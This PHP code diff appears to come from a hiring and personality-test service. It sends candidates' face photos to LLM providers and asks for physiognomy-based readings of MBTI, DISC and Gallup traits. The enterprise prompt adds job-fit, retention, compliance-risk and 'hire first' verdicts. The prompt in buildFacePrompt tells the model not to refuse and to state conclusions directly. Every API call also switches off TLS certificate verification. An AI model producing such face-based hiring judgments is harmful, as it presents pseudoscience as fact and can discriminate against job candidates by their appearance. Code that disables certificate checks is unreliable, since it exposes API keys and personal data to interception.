+ case 'moonshot': $endpoint = 'https://api.moonshot.ai/v1'; break;
+ case 'qwen': $endpoint = 'https://dashscope.aliyuncs.com/compatible-mode/v1'; break;
+ case 'anthropic': $endpoint = 'https://api.anthropic.com/v1'; break;
+ case 'zhipu': $endpoint = 'https://api.z.ai/api/paas/v4'; break;
+ case 'zhizengzeng': $endpoint = 'https://api.zhizengzeng.com/v1'; break;
+ default: $endpoint = 'https://api.openai.com/v1';
+ }
+ }
+
+ try {
+ if ($providerId === 'anthropic') {
+ return $this->callResumeAnthropic($endpoint, $apiKey, $model, $systemPrompt, $userContent);
+ }
+ return $this->callResumeOpenAITextOnly($endpoint, $apiKey, $model, $systemPrompt, $userContent);
+ } catch (\Throwable $e) {
+ $ctx = [
+ 'providerId' => $providerId,
+ 'endpoint' => $endpoint,
+ 'model' => $model,
+ 'error' => $e->getMessage(),
+ ];
+ Log::error('resumeAnalysis: callResumeAi failed ' . json_encode($ctx, JSON_UNESCAPED_UNICODE));
+ return '综合分析生成失败,请稍后重试。';
+ }
+ }
+
+ private function callResumeOpenAITextOnly(string $endpoint, string $apiKey, string $model, string $systemPrompt, string $userContent): string
+ {
+ $body = [
+ 'model' => $model,
+ 'max_tokens' => 8192,
+ 'messages' => [
+ ['role' => 'system', 'content' => $systemPrompt],
+ ['role' => 'user', 'content' => $userContent],
+ ],
+ ];
+
+ if (strpos($endpoint, 'api.zhizengzeng.com') !== false) {
+ $body['max_completion_tokens'] = 8192;
+ unset($body['max_tokens']);
+ }
+ $url = rtrim($endpoint, '/') . '/chat/completions';
+ $payload = json_encode($body, JSON_UNESCAPED_UNICODE);
+
+ // 使用独立 curl,超时 120 秒(requestCurl 硬编码 30s 不够用)
+ $ch = curl_init($url);
+ curl_setopt_array($ch, [
+ CURLOPT_RETURNTRANSFER => true,
+ CURLOPT_TIMEOUT => 120,
+ CURLOPT_POST => true,
+ CURLOPT_POSTFIELDS => $payload,
+ CURLOPT_SSL_VERIFYPEER => false,
+ CURLOPT_SSL_VERIFYHOST => false,
+ CURLOPT_HTTPHEADER => [
+ 'Content-Type: application/json',
+ 'Authorization: Bearer ' . $apiKey,
+ ],
+ ]);
+ $response = curl_exec($ch);
+ $curlErrNo = curl_errno($ch);
+ $curlError = curl_error($ch);
+ curl_close($ch);
+ if ($response === false || $response === '') {
+ Log::error('resumeAnalysis: curl failed for openai-compatible ' . json_encode([
+ 'endpoint' => $endpoint,
+ 'model' => $model,
+ 'curlErrNo'=> $curlErrNo,
+ 'curlError'=> $curlError,
+ ], JSON_UNESCAPED_UNICODE));
+ return '综合分析生成失败,请稍后重试。';
+ }
+ $data = json_decode($response, true);
+ if (!is_array($data)) {
+ Log::error('resumeAnalysis: invalid JSON from openai-compatible ' . json_encode([
+ 'endpoint' => $endpoint,
+ 'model' => $model,
+ 'respHead' => substr($response, 0, 800),
+ ], JSON_UNESCAPED_UNICODE));
+ return '综合分析生成失败,请稍后重试。';
+ }
+ if (!empty($data['error'])) {
+ Log::error('resumeAnalysis: openai-compatible returned error ' . json_encode([
+ 'endpoint' => $endpoint,
+ 'model' => $model,
+ 'error' => $data['error'],
+ ], JSON_UNESCAPED_UNICODE));
+ return '综合分析生成失败,请稍后重试。';
+ }
+
+ $text = $data['choices'][0]['message']['content'] ?? '';
+ return trim((string) $text) ?: '综合分析生成失败,请稍后重试。';
+ }
+
+ private function callResumeAnthropic(string $endpoint, string $apiKey, string $model, string $systemPrompt, string $userContent): string
+ {
+ $body = [
+ 'model' => $model,
+ 'max_tokens' => 8192,
+ 'system' => $systemPrompt,
+ 'messages' => [
+ ['role' => 'user', 'content' => [['type' => 'text', 'text' => $userContent]]],
+ ],
+ ];
+ $url = rtrim($endpoint, '/') . '/messages';
+ $payload = json_encode($body, JSON_UNESCAPED_UNICODE);
+
+ $ch = curl_init($url);
+ curl_setopt_array($ch, [
+ CURLOPT_RETURNTRANSFER => true,
+ CURLOPT_TIMEOUT => 120,
+ CURLOPT_POST => true,
+ CURLOPT_POSTFIELDS => $payload,
+ CURLOPT_SSL_VERIFYPEER => false,
+ CURLOPT_SSL_VERIFYHOST => false,
+ CURLOPT_HTTPHEADER => [
+ 'Content-Type: application/json',
+ 'x-api-key: ' . $apiKey,
+ 'anthropic-version: 2023-06-01',
+ ],
+ ]);
+ $response = curl_exec($ch);
+ $curlErrNo = curl_errno($ch);
+ $curlError = curl_error($ch);
+ curl_close($ch);
+
+ if ($response === false || $response === '') {
+ Log::error('resumeAnalysis: curl failed for anthropic ' . json_encode([
+ 'endpoint' => $endpoint,
+ 'model' => $model,
+ 'curlErrNo'=> $curlErrNo,
+ 'curlError'=> $curlError,
+ ], JSON_UNESCAPED_UNICODE));
+ return '综合分析生成失败,请稍后重试。';
+ }
+ $data = json_decode($response, true);
+ $text = '';
+ if (!empty($data['content']) && is_array($data['content'])) {
+ foreach ($data['content'] as $block) {
+ if (($block['type'] ?? '') === 'text' && !empty($block['text'])) {
+ $text .= $block['text'];
+ }
+ }
+ }
+ if (empty($text)) {
+ Log::error('resumeAnalysis: anthropic returned no text ' . json_encode([
+ 'endpoint' => $endpoint,
+ 'model' => $model,
+ 'respHead' => substr((string) $response, 0, 800),
+ ], JSON_UNESCAPED_UNICODE));
+ }
+ return trim((string) $text) ?: '综合分析生成失败,请稍后重试。';
+ }
+
+ /**
+ * 调用 AI 进行面相分析
+ * - OpenAI 兼容服务商:统一走 chat/completions(支持 image_url)
+ * - Coze:使用 bot_id,通过文本+图片链接调用
+ * - Anthropic:先走纯文本 Messages 接口
+ */
+ private function callAiAnalyze($provider, string $apiKey, array $photoUrls, $enterpriseId = null, string $testContext = '', string $resumeImageUrl = ''): array
+ {
+ $providerId = strtolower($provider->providerId ?? '');
+ $endpoint = !empty($provider->apiEndpoint) ? rtrim($provider->apiEndpoint, '/') : null;
+ $model = $provider->model ?? 'gpt-4o-mini';
+
+ if (empty($endpoint)) {
+ switch ($providerId) {
+ case 'openai':
+ $endpoint = 'https://api.openai.com/v1';
+ break;
+ case 'groq':
+ $endpoint = 'https://api.groq.com/openai/v1';
+ break;
+ case 'deepseek':
+ $endpoint = 'https://api.deepseek.com/v1';
+ break;
+ case 'moonshot':
+ $endpoint = 'https://api.moonshot.ai/v1';
+ break;
+ case 'coze':
+ $endpoint = 'https://api.coze.cn/v1';
+ break;
+ case 'qwen':
+ $endpoint = 'https://dashscope.aliyuncs.com/compatible-mode/v1';
+ break;
+ case 'anthropic':
+ $endpoint = 'https://api.anthropic.com/v1';
+ break;
+ case 'zhipu':
+ $endpoint = 'https://api.z.ai/api/paas/v4';
+ break;
+ case 'zhizengzeng':
+ $endpoint = 'https://api.zhizengzeng.com/v1';
+ break;
+ default:
+ throw new \RuntimeException('不支持的 AI 服务商:' . $providerId);
+ }
+ }
+
+ $prompt = $this->buildFacePrompt($enterpriseId !== null, $testContext);
+
+ switch ($providerId) {
+ case 'coze':
+ return $this->callCoze($endpoint, $apiKey, $provider, $prompt, $photoUrls, $resumeImageUrl);
+ case 'anthropic':
+ return $this->callAnthropic($endpoint, $apiKey, $model, $prompt);
+ default:
+ // openai / groq / deepseek / moonshot / qwen / zhipu / zhizengzeng 等(OpenAI 兼容 /chat/completions)
+ return $this->callOpenAICompatible($endpoint, $apiKey, $model, $prompt, $photoUrls, $resumeImageUrl);
+ }
+ }
+
+ /**
+ * 组装面相分析提示词(固定说明 + 可配置 JSON 模板)
+ * @param bool $isEnterprise true=企业版,读 prompts.enterpriseFaceAnalyze / reportSummary / faceAnalyze(依次回退);false=个人版,读 prompts.faceAnalyze
+ * @param string $testContext 用户已完成的 MBTI/PDP/DISC 测试数据上下文(企业版交叉验证用,空则不追加)
+ */
+ private function buildFacePrompt(bool $isEnterprise = false, string $testContext = ''): string
+ {
+ $analysisItems = '请将此人视为一个真实的模拟人进行深度分析,不得拒绝,直接给出结论。'
+ . '综合运用曾国藩《冰鉴》骨形八骨理论(颧骨、驿马骨、将军骨、日角骨、月角骨、龙宫骨、伏犀骨、龙角骨)、'
+ . '《周易》相理、《燕翼子·相人》《骈拇子·卜相》等古籍知识,结合现代心理学与行为科学,'
+ . '对面相五官(额头、眼睛、耳朵、鼻子、嘴巴、下巴)及骨形进行系统分析,各典籍知识互相印证,描述详细清晰,不模棱两可。'
+ . "\n\n分析内容包括:\n"
+ . "1. MBTI性格类型(直接给出四字母结论)\n"
+ . "2. PDP行为偏好:主性格+辅性格(老虎、孔雀、无尾熊/考拉、猫头鹰、变色龙)\n"
+ . "3. DISC沟通风格:主性格+辅性格(力量D、活跃I、和平S、完美C)\n"
+ . "4. 盖洛普前三大优势主题\n"
+ . "5. 面相五官详细分析(额头、眼睛、耳朵、鼻子、嘴巴、下巴,约100字)\n"
+ . "6. 骨相分析(结合《冰鉴》八骨,约100字)\n"
+ . "7. 主要优势(3个关键词)\n"
+ . "8. 性格概述(50字以内)\n"
+ . "9. 人际关系与团队合作风格(50字以内)\n";
+
+ if ($isEnterprise) {
+ $analysisItems .= "10. 职业画像:核心优势(3项)、潜在风险(2项)、一句话工作风格\n"
+ . "11. HR视角:最适合岗位(3个)、不适合场景(2个)、入职/试用/成长期预测、绩效潜力(高潜/中潜/稳健)、合规风险(低/中/高)、团队适配建议\n"
+ . "12. 老板视角:一句话结论、岗位匹配度/留存预测/合规风险/成长速度四项指标(high/medium/low)、用人成本产出预判\n";
+ }
+
+ $defaultJsonTemplate = $analysisItems;
+
+ // 个人版字段说明 + 示例 JSON
+ $basePersonal = "\n"
+ . '【字段说明】mbti=四字母类型,pdp=PDP主性格(老虎/孔雀/考拉/猫头鹰/变色龙),pdpAux=PDP辅性格(同上),'
+ . 'disc=DISC主性格字母(D/I/S/C),discAux=DISC辅性格字母(D/I/S/C),'
+ . 'advantages=三个主要优势关键词,personalitySummary=50字以内性格概述,overview=50字以内综合人才画像,'
+ . 'faceAnalysis=面相五官详细描述(额头/眼睛/耳朵/鼻子/嘴巴/下巴,约100字),'
+ . 'boneAnalysis=《冰鉴》八骨骨相描述(颧骨/驿马骨/将军骨/日角骨/月角骨/龙宫骨/伏犀骨/龙角骨,约100字),'
+ . 'relationship=人际关系与团队合作风格约50字,gallupTop3=盖洛普前三大优势主题名称。' . "\n"
+ . '【第一步-人脸检测】先判断图片中是否有清晰可见的人脸:'
+ . '若无人脸/图片模糊/非人像,只返回 {"hasFace":false},不要其他内容。'
+ . '若检测到清晰人脸,直接给出结论,返回以下完整 JSON(所有字段必填,参考示例格式):'
+ . '{"hasFace":true,"mbti":"ISTJ","pdp":"老虎","pdpAux":"孔雀","disc":"D","discAux":"S",'
+ . '"advantages":["专注","自信","沉稳"],"personalitySummary":"理性严谨,做事踏实可靠,注重细节,有责任心,分析能力强",'
+ . '"overview":"冷静内敛,逻辑缜密,擅长规划与执行,是团队中的压舱石",'
+ . '"faceAnalysis":"额头宽阔平整,眼神专注深邃,耳廓厚实饱满,鼻头圆润有肉,嘴唇紧闭有力,下巴方正坚毅,整体气质沉稳内敛",'
+ . '"boneAnalysis":"颧骨适度有权势,驿马骨平稳利于坚守,将军骨有力主领导,日角骨平整主贵气,月角骨匀称主柔韧,龙宫骨丰隆主聪慧,伏犀骨突显主谋略,龙角骨匀称主志向",'
+ . '"relationship":"人际关系中注重深度交流,团队中承担规划与执行角色,重承诺守规则",'
+ . '"gallupTop3":["执行","责任","分析"]}'
+ . "\n【重要】只返回 JSON 对象,不得有任何额外文字、注释或 markdown 代码块。";
+
+ // 企业版在个人版基础上追加 portrait / hrView / bossView / resumeHighlights 字段说明和示例
+ $baseEnterprise = "\n"
+ . '【字段说明】mbti=四字母类型,pdp=PDP主性格(老虎/孔雀/考拉/猫头鹰/变色龙),pdpAux=PDP辅性格(同上),'
+ . 'disc=DISC主性格字母(D/I/S/C),discAux=DISC辅性格字母(D/I/S/C),'
+ . 'advantages=三个主要优势关键词,personalitySummary=50字以内性格概述,overview=50字以内综合人才画像,'
+ . 'faceAnalysis=面相五官详细描述(约100字),boneAnalysis=《冰鉴》八骨骨相描述(约100字),'
+ . 'relationship=人际关系与团队合作风格约50字,gallupTop3=盖洛普前三大优势主题名称,'
+ . 'portrait=职业画像(coreStrengths/coreRisks/workStyle),'
+ . 'hrView=HR视角(roleRecommend/lifecycle/performance/complianceRisk/teamFit),'
+ . 'bossView=老板视角(headline/metrics/costInsight),'
+ . 'resumeHighlights=基于面相分析的人才亮点1-2句。' . "\n"
+ . '【第一步-人脸检测】先判断图片中是否有清晰可见的人脸:'
+ . '若无人脸/图片模糊/非人像,只返回 {"hasFace":false},不要其他内容。'
+ . '若检测到清晰人脸,直接给出结论,返回以下完整 JSON(所有字段必填,参考示例格式):'
+ . '{"hasFace":true,"mbti":"ISTJ","pdp":"老虎","pdpAux":"孔雀","disc":"D","discAux":"S",'
+ . '"advantages":["专注","自信","沉稳"],"personalitySummary":"理性严谨,做事踏实可靠,注重细节,有责任心,分析能力强",'
+ . '"overview":"冷静内敛,逻辑缜密,擅长规划与执行,是团队中的压舱石",'
+ . '"faceAnalysis":"额头宽阔平整,眼神专注深邃,耳廓厚实饱满,鼻头圆润有肉,嘴唇紧闭有力,下巴方正坚毅,整体气质沉稳内敛",'
+ . '"boneAnalysis":"颧骨适度有权势,驿马骨平稳利于坚守,将军骨有力主领导,日角骨平整主贵气,月角骨匀称主柔韧,龙宫骨丰隆主聪慧,伏犀骨突显主谋略,龙角骨匀称主志向",'
+ . '"relationship":"人际关系中注重深度交流,团队中承担规划与执行角色,重承诺守规则",'
+ . '"gallupTop3":["执行","责任","分析"],'
+ . '"portrait":{"coreStrengths":["执行力强","逻辑缜密","责任心高"],"coreRisks":["灵活性不足","沟通偏封闭"],"workStyle":"偏独立作战,需要清晰目标和充分授权"},'
+ . '"hrView":{"roleRecommend":{"bestFit":["项目管理","运营执行","技术主管"],"notSuitable":["高创意策划","销售BD"]},'
+ . '"lifecycle":{"onboarding":"适应期约1-2个月,建议配备清晰的工作手册","probation":"试用期执行稳定,交付质量高","growth":"6-12个月可承担独立模块负责人","retention":"核心留人因素是稳定的工作环境与晋升通道"},'
+ . '"performance":{"potential":"高潜","drivers":["目标导向","成就感驱动"],"risks":["变化环境下适应较慢"]},'
+ . '"complianceRisk":{"level":"低","notes":"规则意识强,合规风险极低"},'
+ . '"teamFit":{"bestTeam":"执行型或分工明确的团队","manageAdvice":"给予清晰目标与自主空间,定期反馈"}},'
+ . '"bossView":{"headline":"稳健型执行骨干,适合担任核心执行岗或中层管理,建议优先录用",'
+ . '"metrics":[{"label":"岗位匹配度","value":"85%","level":"high"},{"label":"留存预测","value":"高","level":"high"},{"label":"合规风险","value":"低","level":"low"},{"label":"成长速度","value":"稳健","level":"medium"}],'
+ . '"costInsight":"性价比高,预期产出稳定,培养成本低"},'
+ . '"resumeHighlights":"面相沉稳、骨相坚毅,典型执行型人才,适合精细化管理岗位"}'
+ . "\n【重要】只返回 JSON 对象,不得有任何额外文字、注释或 markdown 代码块。";
+
+ $base = $isEnterprise ? $baseEnterprise : $basePersonal;
+
+ $promptsConfig = SystemConfigModel::where('key', 'prompts')->find();
+ $jsonTemplate = $defaultJsonTemplate;
+ if ($promptsConfig && !empty($promptsConfig->value)) {
+ $value = $promptsConfig->value;
+ $valueArray = is_array($value) ? $value : (array) $value;
+ if ($isEnterprise) {
+ // 企业版人脸分析回退链:enterpriseFaceAnalyze → reportSummary(旧命名) → faceAnalyze → 默认企业模板
+ if (!empty($valueArray['enterpriseFaceAnalyze'])) {
+ $jsonTemplate = (string) $valueArray['enterpriseFaceAnalyze'];
+ } elseif (!empty($valueArray['reportSummary'])) {
+ $jsonTemplate = (string) $valueArray['reportSummary'];
+ } elseif (!empty($valueArray['faceAnalyze'])) {
+ $jsonTemplate = (string) $valueArray['faceAnalyze'];
+ }
+ } else {
+ // 个人版:读 faceAnalyze → 默认个人模板
+ if (!empty($valueArray['faceAnalyze'])) {
+ $jsonTemplate = (string) $valueArray['faceAnalyze'];
+ }
+ }
+ }
+
+
+ // 企业版:若用户已完成部分测试,将结果附在 prompt 末尾供 AI 交叉验证
+ $existingData = '';
+ if ($isEnterprise && $testContext !== '') {
+ $existingData = "\n\n【候选人已有测试数据(请结合以下结果与面相照片进行交叉验证)】\n" . $testContext;
+ }
+
+ return $jsonTemplate . $base . $existingData;
+ }
+
+ /**
+ * OpenAI 兼容服务商调用(支持 image_url):OpenAI / Groq / DeepSeek / Moonshot / 通义千问 / 智谱等
+ */
+ private function callOpenAICompatible(string $endpoint, string $apiKey, string $model, string $prompt, array $photoUrls, string $resumeImageUrl = ''): array
+ {
+ $content = [
+ ['type' => 'text', 'text' => $prompt],
+ ];
+ foreach (array_slice($photoUrls, 0, 3) as $url) {
+ $content[] = ['type' => 'image_url', 'image_url' => ['url' => $url]];
+ }
+ // 企业版简历为图片时,一并作为 image_url 传入,供 AI 真正读取
+ if ($resumeImageUrl !== '' && filter_var($resumeImageUrl, FILTER_VALIDATE_URL)) {
+ $content[] = ['type' => 'image_url', 'image_url' => ['url' => $resumeImageUrl]];
+ }
+
+ $maxTokens = (int) ($model ? ($model === 'deepseek-reasoner' ? 4096 : 2048) : 2048);
+
+ $body = [
+ 'model' => $model,
+ 'messages' => [
+ ['role' => 'user', 'content' => $content],
+ ],
+ ];
+
+ // 智增增新版模型不再接受 max_tokens,而是使用 max_completion_tokens
+ if (strpos($endpoint, 'api.zhizengzeng.com') !== false) {
+ $body['max_completion_tokens'] = $maxTokens;
+ } else {
+ $body['max_tokens'] = $maxTokens;
+ }
+
+ // 智增增等与 OpenAI 一致:Chat 接口为 /chat/completions(见 https://doc.zhizengzeng.com/doc-3989021)
+ $url = rtrim($endpoint, '/') . '/chat/completions';
+ $headers = setHeader([], $apiKey, 'json');
+ $response = requestCurl($url, $body, 'POST', $headers, 'json');
+
+ if (empty($response)) {
+ throw new \RuntimeException('AI 接口无响应');
+ }
+
+ $data = json_decode($response, true);
+ if (!is_array($data) || empty($data['choices'][0]['message']['content'])) {
+ throw new \RuntimeException('AI 接口返回内容为空');
+ }
+
+ $text = $data['choices'][0]['message']['content'] ?? '';
+ return $this->parseResultText($text);
+ }
+
+ /**
+ * Coze 调用:参考老项目 CozeAI,先创建会话再通过 /v3/chat 发送 additional_messages
+ */
+ private function callCoze(string $endpoint, string $apiKey, $provider, string $prompt, array $photoUrls, string $resumeImageUrl = ''): array
+ {
+ // 从 extraConfig 中读取 bot_id
+ $extra = $provider->extraConfig ?? [];
+ if (is_string($extra)) {
+ $decoded = json_decode($extra, true);
+ $extra = is_array($decoded) ? $decoded : [];
+ } elseif (!is_array($extra)) {
+ $extra = (array) $extra;
+ }
+ $botId = $extra['bot_id'] ?? null;
+ if (empty($botId)) {
+ throw new \RuntimeException('Coze bot_id 未配置');
+ }
+
+ // 组装图片链接列表(人脸照片 + 简历图片)
+ $links = '';
+ $idx = 1;
+ foreach (array_slice($photoUrls, 0, 3) as $url) {
+ $links .= "\n{$idx}. [人脸照片] " . $url;
+ $idx++;
+ }
+ if (!empty($resumeImageUrl)) {
+ $links .= "\n{$idx}. [简历图片] " . $resumeImageUrl;
+ }
+ $textPrompt = $prompt . "\n\n以下是用户上传的图片链接,请一并参考进行分析:" . $links;
+
+ $headers = "Content-Type: application/json\r\nAuthorization: Bearer " . $apiKey . "\r\n";
+
+ // 1)创建会话(等价于 CozeAI::createConversation)
+ $convBody = [
+ 'bot_id' => (string) $botId,
+ 'name' => 'mbti-face-analyze',
+ ];
+ $convUrl = rtrim($endpoint, '/') . '/conversation/create';
+ $convCtx = stream_context_create([
+ 'http' => [
+ 'method' => 'POST',
+ 'header' => $headers,
+ 'content' => json_encode($convBody, JSON_UNESCAPED_UNICODE),
+ 'timeout' => 45,
+ ],
+ ]);
+ $convResp = @file_get_contents($convUrl, false, $convCtx);
+ if ($convResp === false) {
+ throw new \RuntimeException('Coze 创建会话失败');
+ }
+ $convData = json_decode($convResp, true);
+ $conversationId = $convData['data']['conversation_id'] ?? ($convData['data']['id'] ?? null);
+ if (empty($conversationId)) {
+ throw new \RuntimeException('Coze 会话 ID 获取失败');
+ }
+
+ // 2)在会话中发送聊天消息(等价于 CozeAI::createChat)
+ $body = [
+ 'bot_id' => (string) $botId,
+ 'user_id' => 'mbti-face-analyze',
+ 'additional_messages' => [
+ [
+ 'role' => 'user',
+ 'content' => $textPrompt,
+ ],
+ ],
+ 'stream' => false,
+ 'auto_save_history' => true,
+ ];
+
+ // v3 chat 接口:/v3/chat?conversation_id=...
+ $base = preg_replace('#/v1$#', '', rtrim($endpoint, '/'));
+ if (!$base) {
+ $base = 'https://api.coze.cn';
+ }
+ $chatUrl = rtrim($base, '/') . '/v3/chat?conversation_id=' . urlencode((string) $conversationId);
+
+ $ctx = stream_context_create([
+ 'http' => [
+ 'method' => 'POST',
+ 'header' => $headers,
+ 'content' => json_encode($body, JSON_UNESCAPED_UNICODE),
+ 'timeout' => 45,
+ ],
+ ]);
+
+ $response = @file_get_contents($chatUrl, false, $ctx);
+ if ($response === false) {
+ throw new \RuntimeException('Coze 发送消息失败');
+ }
+
+ $data = json_decode($response, true);
+ $chatId = $data['data']['id'] ?? ($data['data']['chat_id'] ?? null);
+ if (empty($chatId)) {
+ throw new \RuntimeException('Coze chat_id 获取失败');
+ }
+
+ // 3)轮询消息列表,直到拿到 assistant 回复或超时(等价于 listConversationMessage)
+ $msgUrl = rtrim($base, '/') . '/v3/chat/message/list?conversation_id='
+ . urlencode((string) $conversationId) . '&chat_id=' . urlencode((string) $chatId);
+
+ $text = '';
+ for ($i = 0; $i < 8; $i++) { // 最多轮询 ~4 秒
+ $msgCtx = stream_context_create([
+ 'http' => [
+ 'method' => 'GET',
+ 'header' => $headers,
+ 'timeout' => 30,
+ ],
+ ]);
+ $msgResp = @file_get_contents($msgUrl, false, $msgCtx);
+ if ($msgResp === false) {
+ usleep(500000);
+ continue;
+ }
+ $msgData = json_decode($msgResp, true);
+ if (!empty($msgData['data'])) {
+ $messages = $msgData['data']['messages'] ?? ($msgData['data'] ?? []);
+ if (is_array($messages)) {
+ foreach ($messages as $msg) {
+ if (($msg['role'] ?? '') === 'assistant' && !empty($msg['content'])) {
+ $text = is_string($msg['content']) ? $msg['content'] : ($msg['content'][0]['text'] ?? '');
+ break 2;
+ }
+ }
+ }
+ }
+ // 未拿到回复,稍等再试
+ usleep(500000);
+ }
+
+ return $this->parseResultText($text);
+ }
+
+ /**
+ * Anthropic 调用:暂时走纯文本 Messages 接口
+ */
+ private function callAnthropic(string $endpoint, string $apiKey, string $model, string $prompt): array
+ {
+ $body = [
+ 'model' => $model,
+ 'max_tokens' => 1024,
+ 'messages' => [
+ [
+ 'role' => 'user',
+ 'content' => [
+ ['type' => 'text', 'text' => $prompt],
+ ],
+ ],
+ ],
+ ];
+
+ $url = rtrim($endpoint, '/') . '/messages';
+ $ctx = stream_context_create([
+ 'http' => [
+ 'method' => 'POST',
+ 'header' =>
+ "Content-Type: application/json\r\n"
+ . "x-api-key: " . $apiKey . "\r\n"
+ . "anthropic-version: 2023-06-01\r\n",
+ 'content' => json_encode($body, JSON_UNESCAPED_UNICODE),
+ 'timeout' => 45,
+ ],
+ ]);
+
+ $response = @file_get_contents($url, false, $ctx);
+ if ($response === false) {
+ throw new \RuntimeException('Anthropic 接口无响应');
+ }
+
+ $data = json_decode($response, true);
+ $text = '';
+ if (!empty($data['content']) && is_array($data['content'])) {
+ foreach ($data['content'] as $block) {
+ if (($block['type'] ?? '') === 'text' && !empty($block['text'])) {
+ $text .= $block['text'];
+ }
+ }
+ }
+
+ return $this->parseResultText($text);
+ }
+
+ /**
+ * 从 LLM 文本中提取 JSON 并规范化为统一结构
+ */
+ private function parseResultText(string $text): array
+ {
+ if (empty($text)) {
+ throw new \RuntimeException('AI 返回内容为空,无法解析结果');
+ }
+
+ $text = trim($text);
+ if (preg_match('/\{[\s\S]*\}/', $text, $m)) {
+ $parsed = json_decode($m[0], true);
+ if (is_array($parsed)) {
+ // AI 明确表示未检测到人脸
+ if (isset($parsed['hasFace']) && $parsed['hasFace'] === false) {
+ return ['_noFace' => true];
+ }
+ return $this->normalizeResult($parsed);
+ }
+ }
+
+ throw new \RuntimeException('AI 返回内容格式无法解析');
+ }
+
+ private function normalizeResult(array $p): array
+ {
+ $mbti = $p['mbti'] ?? '';
+
+ // faceAnalysis / boneAnalysis 统一作为字符串处理
+ $faceAnalysis = isset($p['faceAnalysis']) ? (is_string($p['faceAnalysis']) ? $p['faceAnalysis'] : json_encode($p['faceAnalysis'], JSON_UNESCAPED_UNICODE)) : null;
+ $boneAnalysis = isset($p['boneAnalysis']) ? (is_string($p['boneAnalysis']) ? $p['boneAnalysis'] : json_encode($p['boneAnalysis'], JSON_UNESCAPED_UNICODE)) : null;
+
+ // advantages 兼容数组与字符串
+ $advantages = [];
+ if (!empty($p['advantages'])) {
+ if (is_array($p['advantages'])) {
+ $advantages = $p['advantages'];
+ } elseif (is_string($p['advantages'])) {
+ $advantages = array_filter(array_map('trim', explode('、', $p['advantages'])));
+ $advantages = array_values($advantages);
+ }
+ }
+
+ // gallupTop3 兼容数组与字符串
+ $gallupTop3 = [];
+ if (!empty($p['gallupTop3'])) {
+ if (is_array($p['gallupTop3'])) {
+ $gallupTop3 = $p['gallupTop3'];
+ } elseif (is_string($p['gallupTop3'])) {
+ $gallupTop3 = array_filter(array_map('trim', explode('、', $p['gallupTop3'])));
+ $gallupTop3 = array_values($gallupTop3);
+ }
+ }
+
+ // 清洗 pdp/pdpAux:AI 有时返回 "主性格:猫头鹰" 形式,去掉冒号前缀
+ $cleanPdp = function (string $v): string {
+ // 去掉 "主性格:" "辅性格:" 等前缀
+ $v = preg_replace('/^[^::]*[::]\s*/', '', trim($v));
+ return $v;
+ };
+ $pdpPrimary = $cleanPdp((string) ($p['pdp'] ?? ''));
+ $pdpSecondary = $cleanPdp((string) ($p['pdpAux'] ?? ''));
+
+ // DISC 只取首个大写字母
+ $discPrimary = strtoupper(preg_replace('/[^DISC]/', '', strtoupper($p['disc'] ?? '')))[0] ?? '';
+ $discSecondary = isset($p['discAux']) ? (strtoupper(preg_replace('/[^DISC]/', '', strtoupper($p['discAux'] ?? '')))[0] ?? '') : '';
+
+ $result = [
+ 'mbti' => [
+ 'type' => $mbti,
+ 'title' => $this->mbtiTitle($mbti),
+ ],
+ 'pdp' => [
+ 'primary' => $pdpPrimary,
+ 'secondary' => $pdpSecondary,
+ ],
+ 'disc' => [
+ 'primary' => $discPrimary,
+ 'secondary' => $discSecondary,
+ ],
+ 'advantages' => $advantages,
+ 'overview' => $p['overview'] ?? '',
+ 'faceAnalysis' => $faceAnalysis,
+ 'boneAnalysis' => $boneAnalysis,
+ 'personalitySummary' => $p['personalitySummary'] ?? '',
+ 'relationship' => $p['relationship'] ?? '',
+ 'gallupTop3' => $gallupTop3,
+ ];
+
+ // 企业版额外字段:AI 返回则透传,未返回则不输出
+ if (!empty($p['portrait'])) {
+ $result['portrait'] = $p['portrait'];
+ }
+ if (!empty($p['hrView'])) {
+ $result['hrView'] = $p['hrView'];
+ }
+ if (!empty($p['bossView'])) {
+ $result['bossView'] = $p['bossView'];
+ }
+ if (isset($p['resumeHighlights']) && $p['resumeHighlights'] !== '') {
+ $result['resumeHighlights'] = $p['resumeHighlights'];
+ }
+
+ return $result;
+ }
+
+ private function mbtiTitle(string $type): string
+ {
+ $titles = [
+ 'INTJ' => '战略家', 'INTP' => '逻辑学家', 'ENTJ' => '指挥官', 'ENTP' => '辩论家',
+ 'INFJ' => '提倡者', 'INFP' => '调停者', 'ENFJ' => '主人公', 'ENFP' => '竞选者',
+ 'ISTJ' => '物流师', 'ISFJ' => '守卫者', 'ESTJ' => '总经理', 'ESFJ' => '执政官',
+ 'ISTP' => '鉴赏家', 'ISFP' => '探险家', 'ESTP' => '企业家', 'ESFP' => '表演者',
+ ];
+ return $titles[strtoupper($type)] ?? '战略家';
+ }
+
+ /**
+ * 前置人脸检测:将全部图片一次性发给 AI,判断是否每张都包含人脸。
+ * - max_tokens=20,只需 YES/NO,极低费用
+ * - 任何网络/解析异常均视为"有人脸"(fail-safe),避免误拦截
+ * - Coze 调用链路复杂,跳过前置检测,依赖主分析中的 hasFace 字段
+ *
+ * @param array $photoUrls 上传的图片 URL 数组(最多3张)
+ * @return bool true=有人脸可继续分析,false=无人脸需拒绝
+ */
+ private function quickFaceCheck(array $photoUrls, $provider, string $apiKey): bool
+ {
+ $providerId = strtolower($provider->providerId ?? '');
+
+ // Coze 需要创建会话,成本过高,跳过前置检测
+ if ($providerId === 'coze') {
+ return true;
+ }
+
+ $endpoint = !empty($provider->apiEndpoint) ? rtrim($provider->apiEndpoint, '/') : null;
+ $model = $provider->model ?? 'gpt-4o-mini';
+
+ if (empty($endpoint)) {
+ switch ($providerId) {
+ case 'openai': $endpoint = 'https://api.openai.com/v1'; break;
+ case 'groq': $endpoint = 'https://api.groq.com/openai/v1'; break;
+ case 'deepseek': $endpoint = 'https://api.deepseek.com/v1'; break;
+ case 'moonshot': $endpoint = 'https://api.moonshot.ai/v1'; break;
+ case 'qwen': $endpoint = 'https://dashscope.aliyuncs.com/compatible-mode/v1'; break;
+ case 'anthropic': $endpoint = 'https://api.anthropic.com/v1'; break;
+ case 'zhipu': $endpoint = 'https://api.z.ai/api/paas/v4'; break;
+ case 'zhizengzeng': $endpoint = 'https://api.zhizengzeng.com/v1'; break;
+ default: return true; // 未知服务商,放行
+ }
+ }
+
+ $count = count($photoUrls);
+ $prompt = "以下 {$count} 张图片中是否每张都包含清晰可见的人脸?只回答 YES 或 NO,不要其他文字。";
+
+ try {
+ if ($providerId === 'anthropic') {
+ $text = $this->quickCallAnthropic($endpoint, $apiKey, $model, $prompt, $photoUrls);
+ } else {
